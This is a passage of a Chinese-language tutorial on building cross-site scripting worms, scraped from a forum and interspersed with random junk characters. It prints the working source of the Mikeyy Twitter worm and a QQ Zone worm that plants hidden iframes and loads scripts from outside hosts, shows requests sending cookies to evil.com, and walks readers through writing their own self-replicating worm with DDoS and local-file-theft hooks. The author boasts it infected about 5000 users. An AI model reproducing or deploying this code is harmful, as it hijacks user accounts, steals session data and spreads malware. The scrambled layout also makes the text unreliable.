var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

& u! U; J9 b" a+ kXmlHttp.open("GET","http://www.google.com",false);

0 [% _- [. [& ~# P& [- o3 [XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
% U$ L/ d( Y+ i9 I% O. {
XmlHttp.send(null);

</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

: f( k6 r& m! B7 ^2 `$ R+ |0 P. ?var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


  N! R" A9 C+ G  {% F: c) l0 K9 s0 F
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
1 E3 c. L8 g2 u( u% h6 Y
XmlHttp.send(null);
4 V  F! c3 l: v
  ]; w7 ]8 b6 }6 R0 _6 j# g<script>
1 n% _: G; A9 J复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
% X* x% L! w/ H9 O6 p4 O4 W: l: y, w第一版:
  下载 (5.1 KB)

6 天前 08:27
! R9 x# ?0 S# i* l! f
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
7 b! {' B, H# S! C* S5 s$ @
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
) t, t: t; F$ N+ Z
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
& y' s, ?. n9 N- T$ \* N  Z* z" x
4 a7 _; T3 [- ^6 A   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
* k6 k) A& V7 G: a$ g
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

7 y9 L' s7 W7 e   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

: g# U! N2 Z8 V: x; p1 X   6.   var authtoken=authreg.exec(content);  
" C1 Z+ a& B+ u: l8 `% V4 `, Z
   7.   var authtoken=authtoken[1];  
: Q# z9 r: |) ?
   8.   var randomUpdate= new Array();  
' K' N. s+ d  N4 {
3 O) T5 u, C. m# d5 Z( h* {( G   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
  }0 w0 b$ F5 p5 q: F6 `3 Q
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
- O' N3 g4 {0 w2 z- D8 C& o
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
& |/ P( n; L  Z+ U& L( ], l
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
' V, z+ Y2 F2 \2 b, b
; R! O! j4 Q* K$ @/ R+ Y/ u) ]  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
- [3 v2 a6 C  f# p; n
/ e) z7 B1 j$ K. X! A' f  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

: @. [1 q' a: U9 T8 \1 _  e  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
4 }. z4 j2 P$ i/ e' q3 y3 B
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
% G9 A& p1 F$ k8 g  n0 R/ {
6 \0 b, E0 C! ~( N! G  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
9 }3 A5 i  f6 u- K' d# }
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
$ }4 l) H) N" X" I7 r4 t
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

# a# d/ `/ D, T0 z  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
4 n9 h1 }1 w) ?( o" I( M
$ \' v, S% ?. _  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
! p. _8 ?( K5 ?( [! L" H  q
: Z* k; a- L' q" F5 M* g  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
. }, I* [1 x( S( T6 q
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
) q) h0 P3 t- h# J6 B( }: Q+ A
! m4 x! q" v9 b  24.     
/ ], }# h2 s  e1 F
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
% Z8 n8 `6 M) e4 c: E- Y
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
0 E/ B: E' _( S% m3 d( m
  27.     

/ l) _( O% [, l: m  28.   var ajaxConn= new XHConn();  
  f! d: W0 L; @) n& v4 D2 P5 n: l
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  l! P9 y. G" k# {2 F2 [  30.   var _0xf81bx1c="Mikeyy";  

3 ]. G. [6 M5 B$ ~, g  31.   var updateEncode=urlencode(_0xf81bx1c);  
3 K! u* c% U6 d0 t$ x3 `  H
  32.   var ajaxConn1= new XHConn();  

: t8 j" h- R. D* p! |( t  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
  t1 e) a+ P; F- a. G- B- T+ |4 m
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
' S: O# W4 l) G; L- a( L
8 y; G3 j$ \. o' Y  35.   var XSS=urlencode(genXSS);  

/ ~) C. v+ u4 X% M% i; o5 c1 d  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

1 d6 E$ h' }- ]  N2 C  38.     
8 L+ w5 S# B! j: a* r# Q4 M
  39. } ;  
$ K3 d/ P7 c2 X+ g. b" ?
  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}

- q- i) T# h: @9 G# qwindow.onerror=killErrors;
) W! R8 l0 i' [  B  @& V, s+ U- k


  x7 @$ J0 `0 X: s2 u6 Uvar shendu;shendu=4;

/ ^# O* e. |2 u: w$ Y//---------------global---v------------------------------------------

/ P5 n" H. s$ f" d% D//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

: }; s" X2 l3 B3 T) Uvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();
/ K7 D& k+ T  J
: u: W$ r5 ?& i        var gurl=document.location.href;

% e8 G: W# t! G% Y        var gurle=gurl.indexOf("com/");

1 ]$ |5 R+ ~% D+ Q* A        gurl=gurl.substring(0,gurle+3);        

% a0 r# }% l8 f6 s        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
' r. \; V9 b( F8 Q& ~
. j1 q& A7 I; d$ U$ F& U        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
$ b/ t. U" l) d/ J" `
        get_my_blog(visitorID);

" f, }$ _; C4 A) |        DOshuamy();
* ]3 f5 q# S; D, x+ G* [; s/ y4 A) ?5 ^

1 q% O% h+ B1 [( j- \
5 @% V7 T5 y" B$ A//挂马
4 h( h7 {9 }) B  }, m* G5 O- J' a
function DOshuamy(){

( x' I* _& a$ E2 lvar ssr=document.getElementById("veryTitle");

: [0 l+ w5 h; B8 I; Sssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}


8 Q4 C+ @( Z( d9 u
- Z1 H$ a$ W3 F! s! p//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
4 r9 _4 P0 X% ~0 \1 V! K& t
function get_my_blog(visitorID){

, |4 v& W0 U# H3 }6 q  `/ Z   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

/ k6 Z2 ]1 W; s+ ]: _- n1 u" y   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
. i+ S; N5 B9 q$ u- P4 Y
/ `3 c: J; q# Q: z, j   if(xhr){    //成功就执行下面的

8 h. |( Y# k* ?/ B4 {) w     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
% P' j4 Q3 @9 E! H  |2 J
$ X8 E% Q- S( }7 H     xhr.send();guest=xhr.responseText;

3 e/ z- @# U$ m7 r4 d  y* C. h3 ?" O     get_my_blogurl(guest);    //执行这个函数

    }

4 g5 d" t0 N! H( F/ H, p/ y( ^}

  p5 y' ?6 S  i; O* e0 I. O

//这里似乎是判断没有登录的

! n& f: o) n7 d# Sfunction get_my_blogurl(guest){
+ ^0 O( C) N$ ]# R+ C
  var mybloglist=guest;

7 n0 e, `8 g2 G- n1 o  var myurls;var blogids;var blogide;
- A3 g0 x; E' A4 `$ l. J
  for(i=0;i<shendu;i++){

( z- I  p" x6 }  x( V     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
  u1 [* ?9 a# p7 }6 p
     if(myurls!=-1){    //找到了就执行下面的
; _& E7 B! D7 I6 ?
         mybloglist=mybloglist.substring(myurls+11);

, L# _  X- A7 o" f         myurls=mybloglist.indexOf(')');
+ |( E* s6 q; q; L$ u$ W
+ p5 K" P1 x9 V+ `' r, J) [         myblogid=mybloglist.substring(0,myurls);
# v1 g5 p/ n  S8 N2 G6 ~3 o0 j
        }else{break;}
( L& @9 P8 e( ]& |; w$ I# [
}
" o) R9 w  a5 I  H$ H2 ~
get_my_testself();    //执行这个函数

}
% _* `7 z* w& R! p5 |  D3 p) j
6 A7 p) P: ~. B

& K7 z( M* j5 ^1 y//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

% X6 p# E2 C" n) }$ s, o      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
/ j# U  ^! n$ u" A" k! a$ z3 L
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
' ~1 Z! a: t. o
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
) A% g, F! l; b) N7 Y2 J
               }

              if(mycheckit=="-1"){

                targetblogurlid=myblogid;
7 n# P+ @5 {0 d" H
                add_js(visitorID,targetblogurlid,gurl);    //执行它

! J$ o8 K+ E* K# D. Z! e                break;

               }
7 d1 P0 I( N: r3 E* k! }) W1 z
) M. D, F8 q$ J# q9 t! v        }      

}
: q  r8 {6 ~2 O; k, {# d% |: J
}


' t( X9 C) x* M, S
$ s) e, e0 I7 X//--------------------------------------  

, j* y8 ~5 [% a$ M1 J//根据浏览器创建一个XMLHttpRequest对象
+ }+ q- \; V% M$ W* |
+ B/ v% e/ S3 I9 g1 ifunction createXMLHttpRequest(){

    var XMLhttpObject=null;  
5 [5 ]5 M8 K8 K. }: B* X- m: S
$ y- [: Q( {/ ^4 ~$ R: _    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
6 ]. A8 P0 j. f! H
5 G. t9 L9 _, k" o    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

' {) j$ S. I: p8 D8 l$ K9 w        for(var i=0;i<MSXML.length;i++)  

* S- \! V0 y( f% ]- v' r3 @        {  

2 T5 S3 g1 z% i! I            try  

. p* v7 o% K& D: _3 X. N            {  

9 V3 a3 Q: C( W3 ~% X/ P( C" T1 q                XMLhttpObject=new ActiveXObject(MSXML);  
( o3 u; W9 T: o& W1 z. o
                break;  

- C5 M+ O7 D: _( V            }  
2 \1 i3 t! Z" K3 c& k& @
            catch (ex) {  

            }  

         }  

" h( l) k' X9 Y- j9 q' F# y% a: \      }

7 Y* f, u) c& i* V1 E( hreturn XMLhttpObject;
/ q. v$ q; M% m
}  



- I8 c0 U9 {; j# H//这里就是感染部分了
! x5 W. g5 q; h
function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

0 D, b# c# c- [9 [; m& j9 ss2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' b! b* }" ~+ M/ {) e: c4 D
s2.type='text/javascript';
- g/ V, a/ _" C5 N5 y
/ J& n; n1 U! P, ?/ [5 v; o: Hdocument.getElementsByTagName('head').item(0).appendChild(s2);
# z! s0 M6 N% [+ o9 P! l
}
+ u3 y5 |& T1 O4 K6 e  B/ b* r
/ r8 ]1 e3 [; k# A* B+ g/ B

function add_jsdel(visitorID,targetblogurlid,gurl){

4 }$ b) @, Z' [+ Lvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
1 k0 c+ J* y4 v+ ?
2 G6 ?! ]7 F. ]9 Ms2.type='text/javascript';
2 A( q9 C" v4 B
4 X% o7 B( w  W9 Wdocument.getElementsByTagName('head').item(0).appendChild(s2);

0 ~1 _- K/ M8 M% g: o}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
0 L: Q( J0 S6 K' o% G
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- C" `" b# ]# P0 [# C
$ l$ f& a; }" t" O! k7 c9 b2 Q9 }; t
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
3 r* z0 c+ {+ Z( `
request = new XMLHttpRequest();
' x8 y( X- ?( e" l
2 B9 j4 R' Q2 i! Cif(request.overrideMimeType) {
& n3 R0 A$ a  I7 E
! g  r0 D, P+ r* O" \4 c- S* orequest.overrideMimeType('text/xml');

& O. o4 n% B7 `}
0 x5 C. N+ v  [6 J) I
} else if(window.ActiveXObject) {
8 D: @& u1 c% ]6 T# E6 b* q5 x4 B
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
7 Q- S; U3 q. O% g
: O, ]3 s; o% }( A4 Otry {
2 C/ M8 j6 O- G6 y- x$ Q
7 _& A% R0 w& m6 Mrequest = new ActiveXObject(versions);

. k1 f& o% k; _} catch(e) {}
5 E) x5 i$ }1 _1 V& b* F
1 J3 J" b# m- z" N) E}
( e# @! D# D- l. V6 b* H  ?0 v
4 ?3 X5 g9 q; T5 w, o}
, o! ^8 W/ c0 ~+ z7 v3 {
xmlHttpReq=request;
' y- @9 `4 T) H& t1 j复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
$ n* Z8 p$ M, l) @) h
  x+ H$ T! F' j# R& N# Z        var Browser_Agent=navigator.userAgent;

* k) ?' U4 ]7 @) k        
; u( f% u$ ]- R* p4 Y' N4 C" @
        var Actual_Version,Actual_Name;
! v$ z: j# ?" M6 Q+ W
        
& a1 p) \5 Z5 \$ m7 ]2 G1 Y
6 ^( _5 c7 l5 v9 }        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
% ^" I4 D$ r- b+ m  U- k
4 |. y7 v! j, Z. P3 w) n        var is_NN=(Browser_Name=="Netscape");
1 a. k9 k- }8 Q7 x% P
        var is_Ch=(Browser_Name=="Chrome");
/ c1 W$ S  W: W. j8 B
        

        if(is_NN){
0 Z( t9 v. k2 j+ E: t4 f& R$ ?
  k( M5 z  f0 B$ W            if(Browser_Version>=5.0){

9 m# E: {: s8 X1 r, m                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 U* J8 g2 r, F* G  `. W2 ^/ D
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

5 d6 Y2 w8 {6 V. ]( T4 e# y& _% x. s. S

5 z# j# M  }; l/ F                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

. u2 {0 A/ }! N. z+ |                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
/ k( T, q$ Q/ |3 J3 S/ M3 Y" y
6 t! N! @5 W) ~' o% u3 E" b            }
& K  Y9 @# p$ O! B
            else{

) z6 L0 [7 F" l. r                Actual_Version=Browser_Version;
7 Z. p3 y* {! D
; V) D+ _3 u) ]7 T2 k" y                Actual_Name=Browser_Name;
! e- e1 I( Q' h" w  i& H4 M# E# M
            }

        }
/ z* a- T- m8 q- U2 t
+ @: e$ b+ p! ^( U        else if(is_IE){
* b5 n% n( [! b1 v; t
            var Version_Start=Browser_Agent.indexOf("MSIE");

9 X) \' M3 r! `' A! `/ |( n- }            var Version_End=Browser_Agent.indexOf(";",Version_Start);

: [# t  T( b7 q            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
& U6 A4 O: L$ W4 r4 I
            Actual_Name=Browser_Name;

            
% A( Q5 K6 f- Y6 T+ f, X
0 W( j& e5 T6 M7 X3 m* l( x            if(Browser_Agent.indexOf("Maxthon")!=-1){
0 q$ X. B5 E  Q( ^2 ]3 L# W
0 z; `# f3 H! F: ~: D# c                Actual_Name+="(Maxthon)";

8 ~# E" F, F6 ~1 s! _            }
0 u, U$ W- o7 L4 n7 P4 D% V
            else if(Browser_Agent.indexOf("Opera")!=-1){
: w) @+ P/ \" a$ r! v! `7 i, ?
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
& z6 j7 ]6 [  {( D2 Q
+ {* t: ]# m/ M' c                var tempend=Browser_Agent.length;
$ O5 e! \5 O5 [, P
- \$ S. R- D7 b; E: d4 s( G                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
  ?4 t* D: w" W  H( M) ]
5 I  q8 I3 \: M8 S; b+ e            }

- J# S) V- f9 J  q  o3 L* p& e) o        }
! g% g/ {  p: n- d0 i
        else if(is_Ch){
5 R: y) f1 h- ]* z/ s9 S& {
' i* R! H7 ^/ X            var Version_Start=Browser_Agent.indexOf("Chrome");
9 F- h) e( w. Z9 N, H2 u4 Q
3 e9 Y5 k6 k' I0 P& ~            var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 p# I/ [6 \+ S# b6 t
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
$ U7 n$ P' C; B
            
* f* Q/ D3 I) k' x* T- l5 j
5 ]% W. G% t" W% B$ f: t            if(Browser_Agent.indexOf("Maxthon")!=-1){
; T" T" r: G8 d/ V# A. O  ]
% H$ |4 A3 K4 W" l  c: y2 B                Actual_Name+="(Maxthon)";

9 _: \0 c8 V1 j# ^            }
% N8 U- b7 f' D8 W4 K
            else if(Browser_Agent.indexOf("Opera")!=-1){
  W* J( r/ T! x! R! \4 O- l& @3 A9 n
0 W& j+ G2 C; u6 v0 g4 j. w                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

& b2 q! K8 k$ @3 q( H                var tempend=Browser_Agent.length;

/ c- [0 i1 b6 }4 y! P: s                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
8 Z0 z* s1 ]9 M( A. p; @' n
7 o$ {2 z! B% a  J        else{

            Actual_Name="Unknown Navigator"
+ v( t/ g) p, u8 e9 z
            Actual_Version="Unknown Version"
) M9 G4 q  n- V7 k$ x
7 [6 R% \0 ?: W+ H& ]6 G        }

4 L. y- S' H! _& K) v1 A# a

( C0 o" z0 N& i        navigator.Actual_Name=Actual_Name;
/ i2 Y* B! w7 v* m- g' @
8 U( J' o4 y- j) U: d0 F6 L        navigator.Actual_Version=Actual_Version;

        

" l, {6 f9 P) K  w        this.Name=Actual_Name;
/ F$ J" O  D3 A
- G: R8 x! h. Z8 {8 B( K        this.Version=Actual_Version;

8 ]' f; x2 ~6 }, I; E; R    }
3 a% j/ N3 _7 u4 E3 g( o
9 y& K+ I2 M0 }0 D+ }    browserinfo();

& V2 C4 d, |$ G$ ]1 o# y* z    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
1 j" q; `: g; |1 f
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
9 t! K7 S8 q& ]. f0 G4 }. z7 B
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
" z3 g9 y7 {+ w9 `( `6 q( [复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
0 U  E0 c0 O' N% ~复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
  n/ }$ }! M/ W. a% R( ?* R
; e# ~: f" M) o( RxmlHttpReq.send(null);
/ j) E; N: B3 g
var resource = xmlHttpReq.responseText;
& c8 E0 `$ O, B, ^
1 Y* Y+ {& o+ K, v% ?! hvar id=0;var result;
( G* G, Z4 d* |( a+ w- m3 p
: m" ~3 M: G, E) k' S/ Bvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
9 w% `( O2 S9 O
/ P) t$ u. z2 m( h' n: cid++;
1 `( ~5 H0 |, o1 ^4 {
}
; @% N( h# d" X1 m. M复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

" e  O$ s; ?8 T3 L% S; nno=resource.search(/my name is/);

4 T" a6 C  O& s+ cvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;
! J0 ^. D/ C" x* p
" L  h' Q! ^4 E8 n% ?xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
: L9 e3 u  j  S# p; u* p  V8 D( k
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
0 s2 }/ H4 y% X" _; r0 j
% q; l  [" M: B& \7 uxmlHttpReq.setRequestHeader("content-length",post.length);
2 q& e) t- G" ]  W
9 h3 i2 {* E- k& _- O9 t+ h; NxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
+ K" I( Q% r# R( p/ c  Q, `
8 O4 L( s9 f: @, I2 E}
) i" t2 u) {9 U1 H9 ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

  p1 j# r7 s* @) L+ p- k- {7 Y; bvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

  b/ X! e8 }- Y5 m0 Uvar post="wd="+wd;

2 C8 j5 v5 x! u9 r* ?' _xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
8 U4 d( Y" n$ \9 |$ O1 n$ e7 S
% b  x# X5 P  L% H4 [) q: ZxmlHttpReq.setRequestHeader("content-length",post.length);
/ }, {. T, F' N/ Y& K
) i4 [# _9 O9 N6 U4 Q. m- B. _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

/ d# W& ^1 {( l' I}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
7 W* \4 M0 W: _" R# M: g
& G0 t3 K9 E+ a5 z
) ~0 P3 Y: B! X, T2 V
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.


8 C* ~# Y, o: \- Y


9 ?( [+ _: F1 N6 p) C9 ?& U& [& a: W& Z7 T


- [% U8 b3 c2 l: d  x本文引用文档资料:
" L0 E0 X: Z: X" }9 D0 N
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
' B* o! B$ T9 aOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
$ ^( `3 P3 v7 F. f3 l1 B5 r( vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
) S' F; Q- N9 |4 J8 r5 KXeye Team http://xeye.us/
0 s* e' l' U4 g1 }